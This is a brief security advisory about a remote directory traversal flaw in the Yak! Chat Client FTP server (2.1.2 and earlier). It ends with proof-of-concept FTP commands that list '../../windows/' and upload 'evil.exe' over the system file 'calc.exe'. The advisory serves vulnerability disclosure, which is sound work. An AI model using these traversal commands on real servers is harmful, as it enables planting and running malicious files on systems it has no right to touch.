source: http://www.securityfocus.com/bid/11433/info

Yak! Chat Client FTP server is reported prone to a remote directory traversal vulnerability. This issue presents itself due to insufficient sanitization of user-supplied data.

This issue can ultimately allow an attacker to compromise a computer by placing malicious files on the system and executing these files through other means.

Yak! 2.1.2 and prior versions are reported vulnerable to this issue.

dir /
dir ../../windows/

put
evil.exe
../../windows/calc.exe